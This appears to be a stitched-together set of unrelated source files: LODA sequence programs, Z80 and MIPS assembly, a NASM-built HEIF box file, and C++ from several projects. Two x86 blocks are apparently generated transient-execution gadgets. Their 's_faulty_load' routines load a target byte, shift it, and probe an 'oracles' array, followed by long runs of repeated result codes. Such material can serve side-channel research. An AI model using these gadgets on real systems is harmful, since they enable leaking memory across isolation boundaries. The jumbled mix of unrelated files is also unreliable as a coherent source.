lpb $0,1
sub $0,1
mov $2,$1
add $3,$1
add $3,$1
mov $1,$3
lpe
add $1,$2
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x6d97, %r15
nop
nop
inc %rbx
movl $0x61626364, (%r15)
sub $60903, %r14
lea addresses_D_ht+0xa797, %r15
dec %rcx
movb (%r15), %bl
nop
nop
nop
nop
sub $8020, %r14
lea addresses_WC_ht+0x1cfad, %r10
add $50871, %rdx
mov $0x6162636465666768, %rcx
movq %rcx, %xmm3
movups %xmm3, (%r10)
xor %rcx, %rcx
lea addresses_normal_ht+0xafb7, %r10
nop
nop
nop
nop
nop
cmp %rdx, %rdx
movl $0x61626364, (%r10)
cmp $11155, %r10
lea addresses_D_ht+0x5297, %rsi
lea addresses_WC_ht+0x15e17, %rdi
clflush (%rdi)
add %r10, %r10
mov $16, %rcx
rep movsw
nop
nop
nop
inc %rbx
lea addresses_D_ht+0x1afeb, %rsi
lea addresses_WC_ht+0x4197, %rdi
and $57508, %rdx
mov $106, %rcx
rep movsw
nop
nop
xor $9992, %r14
lea addresses_normal_ht+0x4557, %rsi
lea addresses_WT_ht+0x2997, %rdi
nop
nop
nop
nop
cmp $61856, %rbx
mov $1, %rcx
rep movsq
nop
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_normal_ht+0x175f3, %rdi
nop
nop
nop
cmp %rcx, %rcx
movb (%rdi), %r14b
nop
xor $29529, %rcx
lea addresses_D_ht+0xbe67, %r14
nop
sub %r15, %r15
mov $0x6162636465666768, %rbx
movq %rbx, %xmm2
vmovups %ymm2, (%r14)
nop
xor %rbx, %rbx
lea addresses_WT_ht+0x7827, %rdx
add $45574, %r15
mov $0x6162636465666768, %r14
movq %r14, %xmm4
and $0xffffffffffffffc0, %rdx
vmovntdq %ymm4, (%rdx)
sub $47035, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r9
push %rax
push %rbp
push %rdi
push %rdx
// Store
lea addresses_WC+0xad97, %r10
nop
nop
nop
sub %r9, %r9
movw $0x5152, (%r10)
nop
nop
cmp %rbp, %rbp
// Load
lea addresses_normal+0x1553f, %r10
nop
nop
nop
cmp %r12, %r12
movb (%r10), %al
add %r9, %r9
// Load
lea addresses_normal+0x8017, %rax
nop
xor %rbp, %rbp
mov (%rax), %r9
nop
nop
nop
and %rax, %rax
// Load
mov $0x39ead60000000183, %r10
nop
nop
nop
cmp $904, %rdi
vmovups (%r10), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %rdx
nop
nop
and %r10, %r10
// Faulty Load
lea addresses_PSE+0x10197, %r10
clflush (%r10)
nop
nop
add %rbp, %rbp
movups (%r10), %xmm7
vpextrq $0, %xmm7, %r9
lea oracles, %rax
and $0xff, %r9
shlq $12, %r9
mov (%rax,%r9,1), %r9
pop %rdx
pop %rdi
pop %rbp
pop %rax
pop %r9
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 4, 'same': False}}
{'33': 9725}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
; A182627: Total number of digits in binary expansion of all divisors of n.
; 1,3,3,6,4,8,4,10,7,10,5,15,5,10,10,15,6,17,6,18,11,12,6,24,9,12,12,18,6,24,6,21,13,14,13,30,7,14,13,28,7,26,7,21,20,14,7,35,10,21,14,21,7,28,14,28,14,14,7,42,7,14,21,28,15,30,8,24,15,30,8,46,8,16,22,24,15,30,8,40,19,16,8,45,16,16,15,32,8,46,15,24,15,16,16,48,8,23,24,36
add $0,1
mov $2,$0
lpb $0
mov $3,$2
mov $4,$0
cmp $4,1
add $0,$4
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
lpb $3
add $1,1
div $3,2
lpe
lpe
add $1,1
mov $0,$1
|
%define BE(a) ( ((((a)>>24)&0xFF) << 0) + ((((a)>>16)&0xFF) << 8) + ((((a)>>8)&0xFF) << 16) + ((((a)>>0)&0xFF) << 24) )
ftyp_start:
dd BE(ftyp_end - ftyp_start)
db "ftyp"
db "isom"
dd BE(0x00)
db "mif1"
ftyp_end:
meta_start:
dd BE(meta_end - meta_start)
db "meta"
dd BE(0)
hdlr_start:
dd BE(hdlr_end - hdlr_start)
db "hdlr"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x00, 0x00 ; pre_defined(32)
db 0x70, 0x69, 0x63, 0x74 ; handler_type(32) ('pict')
db 0x00, 0x00, 0x00, 0x00 ; reserved1(32)
db 0x00, 0x00, 0x00, 0x00 ; reserved2(32)
db 0x00, 0x00, 0x00, 0x00 ; reserved3(32)
db 0x00 ; name(8)
hdlr_end:
pitm_start:
dd BE(pitm_end - pitm_start)
db "pitm"
dd BE(0)
db 0xaa, 0xbb
pitm_end:
iinf_start:
dd BE(iinf_end - iinf_start)
db "iinf"
dd BE(0)
db 0x00, 0x01
infe_start:
dd BE(infe_end - infe_start)
db "infe"
dd BE(1) ; not displayable
db 0xaa, 0xbb ; item_ID
db 0x00, 0x00 ; protected item
db 0x00
db 0x00
db 0x00
infe_end:
iinf_end:
iprp_start:
dd BE(iprp_end - iprp_start)
db "iprp"
ipco_start:
dd BE(ipco_end - ipco_start)
db "ipco"
ispe_start:
dd BE(ispe_end - ispe_start)
db "ispe"
dd 0, 0, 0
ispe_end:
ipco_end:
iprp_end:
meta_end:
; vim: syntax=nasm
|
;int writebyte(int handle, int byte)
;returns 0 when OK
;
;ZXVGS buffers bytes, when drives a disk interface.
;In case of cable (TMX, UPB), the byte is transmitted each time...
;
; $Id: writebyte.asm,v 1.1 2002/06/23 12:11:31 dom Exp $
;
XLIB writebyte
.writebyte
LD HL,2
ADD HL,SP ;pointer to byte
LD D,(IX+3) ;fd
LD BC,1 ;one byte
RST 8
DEFB $D5 ;exits with BC=bytes written
DEC BC ;can be 1 (OK) or 0 (error)
LD L,C
LD H,B
RET
|
/* Copyright 2018 The Blueoil Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=============================================================================*/
#include <cmath>
#include <memory>
#include "types.h"
#include "func/batch_normalization.h"
#include "time_measurement.h"
#include <x86intrin.h>
void func_BatchNormalizationOptimized(const TensorView<T_FLOAT, MemoryLayout::NHWC>& input,
const TensorView<T_FLOAT, MemoryLayout::C>& scale,
const TensorView<T_FLOAT, MemoryLayout::C>& bias,
const TensorView<T_FLOAT, MemoryLayout::NHWC>& output) {
Measurement::Start("BatchNorm");
const unsigned out_height = output.get_shape()[1];
const unsigned out_width = output.get_shape()[2];
const unsigned out_depth = output.get_shape()[3];
std::size_t size = out_height * out_width;
#pragma omp parallel for
for (std::size_t f = 0; f < size; ++f) {
std::size_t d;
for (d = 0; d + 7 < out_depth; d += 8) {
const auto index = f * out_depth + d;
const auto vscale = _mm256_loadu_ps(scale.data() + d);
const auto vshift = _mm256_loadu_ps(bias.data() + d);
const auto vinput = _mm256_loadu_ps(input.data() + index);
const auto res = _mm256_fmadd_ps(vinput, vscale, vshift);
_mm256_storeu_ps(output.data() + index, res);
}
for (; d < out_depth; ++d) {
const auto index = f * out_depth + d;
output.data()[index] = input.data()[index] * scale(d) + bias(d);
}
}
Measurement::Stop();
}
|
; A234904: a(n)*Pi is the total length of irregular spiral (center points: 2, 1, 3) after n rotations.
; 3,12,18,21,30,36,39,48,54,57,66,72,75,84,90,93,102,108,111,120,126,129,138,144,147,156,162,165,174,180,183,192,198,201,210,216,219,228,234,237,246,252,255,264,270,273,282,288,291,300,306,309,318,324,327,336,342,345,354,360,363,372,378,381,390,396,399,408
mov $1,3
gcd $1,$0
mod $1,3
add $1,$0
add $1,$0
mul $1,3
add $1,3
mov $0,$1
|
/*
* BSD 2-Clause License
*
* Copyright (c) 2020, Christoph Neuhauser
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "Tokens.hpp"
#include <regex>
std::vector<std::string> getTokenList(const std::string &str, const std::string &exprStr) {
std::vector<std::string> tokenList;
std::regex expr(exprStr.c_str());
std::regex_token_iterator<std::string::const_iterator> it{str.begin(), str.end(), expr};
std::regex_token_iterator<std::string::const_iterator> end;
while (it != end) {
std::string token = *it++;
tokenList.push_back(token);
}
return tokenList;
}
bool regexMatches(const std::string &str, const std::string &exprStr) {
std::regex regexp(exprStr);
std::cmatch what;
return std::regex_match(str.c_str(), what, regexp);
}
|
;
; Include code from halx86
; This is a cpp style symbolic link
include ..\..\halx86\i386\ixcmos.asm
|
L0: ori $2, $0, 0x1234
addu $3, $2, $2
beq $2, $3,L0
subu $4, $3, $2
beq $2, $4,L0
|
; NEC PC8001 graphics library, by @Stosstruppe
; Adapted to z88dk by Stefano Bodrato, 2018
;
;
; Get pixel at (x,y) coordinate.
;
;
; $Id:$
;
INCLUDE "graphics/grafix.inc"
SECTION code_clib
PUBLIC pointxy
EXTERN __gfx_coords
EXTERN pcalc
.pointxy
ld a,h
cp maxx
ret nc
ld a,l
cp maxy
ret nc ; y0 out of range
ld (__gfx_coords),hl
call pcalc
and (hl)
ret
|
; A032086: Number of reversible strings with n beads of 3 colors. If more than 1 bead, not palindromic.
; Submitted by Jamie Morken(s3)
; 3,3,9,36,108,351,1053,3240,9720,29403,88209,265356,796068,2390391,7171173,21520080,64560240,193700403,581101209,1743362676,5230088028,15690441231,47071323693,141214502520,423643507560,1270932117003,3812796351009,11438393835996,34315181507988,102945558872871,308836676618613,926510072902560,2779530218707680,8338590785263203,25015772355789609,75047317454789316,225141952364367948,675425858255365311,2026277574766095933,6078832727785072200,18236498183355216600,54709494560526003003
mov $1,3
pow $1,$0
div $0,2
mov $2,3
pow $2,$0
add $2,1
sub $1,$2
mov $0,$1
div $0,2
mul $0,3
add $0,3
|
// C++ program to illustrate
// recursive approach to ternary search
#include <bits/stdc++.h>
using namespace std;
// Function to perform Ternary Search
int ternarySearch(int l, int r, int key, int ar[])
{
if (r >= l) {
// Find the mid1 and mid2
int mid1 = l + (r - l) / 3;
int mid2 = r - (r - l) / 3;
// Check if key is present at any mid
if (ar[mid1] == key) {
return mid1;
}
if (ar[mid2] == key) {
return mid2;
}
// Since key is not present at mid,
// check in which region it is present
// then repeat the Search operation
// in that region
if (key < ar[mid1]) {
// The key lies in between l and mid1
return ternarySearch(l, mid1 - 1, key, ar);
}
else if (key > ar[mid2]) {
// The key lies in between mid2 and r
return ternarySearch(mid2 + 1, r, key, ar);
}
else {
// The key lies in between mid1 and mid2
return ternarySearch(mid1 + 1, mid2 - 1, key, ar);
}
}
// Key not found
return -1;
}
// Driver code
int main()
{
int l, r, p, key;
// Get the array
// Sort the array if not sorted
int ar[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };
// Starting index
l = 0;
// length of array
r = 9;
// Checking for 5
// Key to be searched in the array
key = 5;
// Search the key using ternarySearch
p = ternarySearch(l, r, key, ar);
// Print the result
cout << "Index of " << key
<< " is " << p << endl;
// Checking for 50
// Key to be searched in the array
key = 50;
// Search the key using ternarySearch
p = ternarySearch(l, r, key, ar);
// Print the result
cout << "Index of " << key
<< " is " << p << endl;
}
// This code is contributed
// by Akanksha_Rai
|
;
; ANSI Video handling for the Sharp X1
;
; Clean a text line
;
; in: A = text row number
;
;
; $Id: f_ansi_dline.asm,v 1.7 2016-07-20 05:45:02 stefano Exp $
;
SECTION code_clib
PUBLIC ansi_del_line
EXTERN ansicolumns
EXTERN __x1_attr
.ansi_del_line
ld hl,$3000
and a
jr z,isz
push af
ld a,ansicolumns
ld d,l
ld e,a
pop af
.sum_loop
add hl,de
dec a
jr nz,sum_loop
.isz
dec e
ld b,e
;ld b,39
.dlineloop
push bc
ld b,h
ld c,l
ld a,32
out (c),a
res 4, b
ld a,(__x1_attr)
out (c), a
inc hl
pop bc
djnz dlineloop
ret
|
; Desenvolvido em Visual Studio 2012 com MASM
.686p
.model tiny
.code
main proc
mov eax, 05h ; move 05h para o registrador eax
mov ebx, 02h ; move 02h para o registrador ebx
add eax, ebx ; soma ebx ao eax e deixa o resultado em eax
main endp
end main
|
; A288260: a(n) = 2*a(n-1) + 2*a(n-3) - 3*a(n-4), where a(0) = 2, a(1) = 4, a(2) = 8, a(3) = 16.
; Submitted by Stefano Spezia
; 2,4,8,16,34,72,152,324,690,1468,3128,6664,14194,30240,64424,137244,292386,622900,1327016,2827072,6022786,12830904,27334904,58234164,124061778,264300652,563064920,1199550904,2555517778,5444263440,11598433928,24709250700,52640474946,112145027428,238913254472,508979706736,1084328043490,2310047513640,4921314677336,10484346321444,22335803539698,47584093893148,101372936397176,215964440909416,460089658986034,980172909086976,2088155890801256,4448597776846332,9477272394908514,20190337844158612
mov $2,1
mov $4,2
lpb $0
sub $0,1
sub $2,$3
mov $3,1
add $3,$1
add $1,$3
add $4,1
add $4,$1
mov $1,$2
mov $2,$4
mov $4,$3
mul $4,2
add $4,$2
lpe
mov $0,$4
sub $0,2
div $0,2
add $0,2
|
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/ui/android/infobars/grouped_permission_infobar.h"
#include "base/android/jni_android.h"
#include "base/android/jni_array.h"
#include "base/android/jni_string.h"
#include "chrome/browser/android/resource_mapper.h"
#include "chrome/browser/android/tab_android.h"
#include "chrome/browser/permissions/grouped_permission_infobar_delegate_android.h"
#include "jni/GroupedPermissionInfoBar_jni.h"
GroupedPermissionInfoBar::GroupedPermissionInfoBar(
std::unique_ptr<GroupedPermissionInfoBarDelegate> delegate)
: ConfirmInfoBar(std::move(delegate)) {}
GroupedPermissionInfoBar::~GroupedPermissionInfoBar() {
}
bool GroupedPermissionInfoBar::Register(JNIEnv* env) {
return RegisterNativesImpl(env);
}
void GroupedPermissionInfoBar::SetPermissionState(
JNIEnv* env,
const base::android::JavaParamRef<jobject>& obj,
const base::android::JavaParamRef<jbooleanArray>& permissions) {
for (size_t i = 0; i < GetDelegate()->permission_count(); i++) {
jboolean value;
env->GetBooleanArrayRegion(permissions.obj(), i, 1, &value);
GetDelegate()->ToggleAccept(i, value);
}
}
void GroupedPermissionInfoBar::ProcessButton(int action) {
// Check if the delegate asked us to display a persistence toggle. If so,
// inform it of the toggle state.
GroupedPermissionInfoBarDelegate* delegate = GetDelegate();
if (delegate->ShouldShowPersistenceToggle()) {
delegate->set_persist(Java_GroupedPermissionInfoBar_isPersistSwitchOn(
base::android::AttachCurrentThread(), GetJavaInfoBar()));
}
ConfirmInfoBar::ProcessButton(action);
}
base::android::ScopedJavaLocalRef<jobject>
GroupedPermissionInfoBar::CreateRenderInfoBar(JNIEnv* env) {
GroupedPermissionInfoBarDelegate* delegate = GetDelegate();
base::android::ScopedJavaLocalRef<jstring> message_text =
base::android::ConvertUTF16ToJavaString(
env, delegate->GetMessageText());
base::android::ScopedJavaLocalRef<jstring> ok_button_text =
base::android::ConvertUTF16ToJavaString(
env, GetTextFor(ConfirmInfoBarDelegate::BUTTON_OK));
base::android::ScopedJavaLocalRef<jstring> cancel_button_text =
base::android::ConvertUTF16ToJavaString(
env, GetTextFor(ConfirmInfoBarDelegate::BUTTON_CANCEL));
std::vector<base::string16> permission_strings;
std::vector<int> permission_icons;
std::vector<int> content_settings_types;
for (size_t i = 0; i < delegate->permission_count(); i++) {
permission_strings.push_back(delegate->GetMessageTextFragment(i));
permission_icons.push_back(
ResourceMapper::MapFromChromiumId(delegate->GetIconIdForPermission(i)));
content_settings_types.push_back(delegate->GetContentSettingType(i));
}
return Java_GroupedPermissionInfoBar_create(
env, GetTab()->GetJavaObject(),
base::android::ToJavaIntArray(env, content_settings_types), message_text,
ok_button_text, cancel_button_text,
delegate->ShouldShowPersistenceToggle(),
base::android::ToJavaArrayOfStrings(env, permission_strings),
base::android::ToJavaIntArray(env, permission_icons));
}
void GroupedPermissionInfoBar::SetJavaInfoBar(
const base::android::JavaRef<jobject>& java_info_bar) {
InfoBarAndroid::SetJavaInfoBar(java_info_bar);
JNIEnv* env = base::android::AttachCurrentThread();
Java_GroupedPermissionInfoBar_setNativePtr(env, java_info_bar,
reinterpret_cast<intptr_t>(this));
}
GroupedPermissionInfoBarDelegate* GroupedPermissionInfoBar::GetDelegate() {
return static_cast<GroupedPermissionInfoBarDelegate*>(delegate());
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r15
push %rax
push %rdi
lea addresses_WT_ht+0x4f1c, %rax
clflush (%rax)
nop
nop
nop
nop
sub %r15, %r15
mov $0x6162636465666768, %rdi
movq %rdi, %xmm2
vmovups %ymm2, (%rax)
nop
xor %r11, %r11
pop %rdi
pop %rax
pop %r15
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %r8
push %rbp
push %rbx
push %rsi
// Store
mov $0x42d9a4000000053c, %rbx
nop
nop
nop
nop
nop
add %rsi, %rsi
mov $0x5152535455565758, %r15
movq %r15, %xmm5
vmovups %ymm5, (%rbx)
nop
nop
nop
nop
nop
add $63400, %rsi
// Store
lea addresses_A+0x4d3c, %r8
clflush (%r8)
nop
nop
nop
nop
and $10302, %rbp
mov $0x5152535455565758, %r15
movq %r15, %xmm3
vmovups %ymm3, (%r8)
cmp %rbx, %rbx
// Faulty Load
lea addresses_A+0x1d53c, %r12
nop
and %r15, %r15
mov (%r12), %r10d
lea oracles, %r15
and $0xff, %r10
shlq $12, %r10
mov (%r15,%r10,1), %r10
pop %rsi
pop %rbx
pop %rbp
pop %r8
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': True, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 